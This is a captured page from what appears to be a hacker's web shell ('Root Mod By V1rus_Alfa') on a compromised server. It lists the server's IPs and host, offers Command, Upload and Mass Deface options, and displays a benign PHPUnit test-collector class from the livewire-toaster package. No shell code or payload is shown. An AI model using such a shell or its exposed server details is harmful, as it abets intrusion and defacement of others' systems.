���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
masmerise
/
livewire-toaster
/
src
/
Viewing: TestableCollector.php
<?php declare(strict_types=1); namespace Masmerise\Toaster; use PHPUnit\Framework\Assert as PHPUnit; final class TestableCollector implements Collector { private array $toasts = []; public function collect(Toast $toast): void { $this->toasts[] = $toast; } public function release(): array { $toasts = $this->toasts; $this->toasts = []; return $toasts; } public function assertDispatched(string $message): void { $toasts = array_filter($this->toasts, static fn (Toast $toast) => $toast->message->equals($message)); PHPUnit::assertNotEmpty($toasts, "A toast with the message `{$message}` was not dispatched."); } public function assertNothingDispatched(): void { $count = count($this->toasts); PHPUnit::assertSame(0, $count, "{$count} unexpected toasts were dispatched."); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa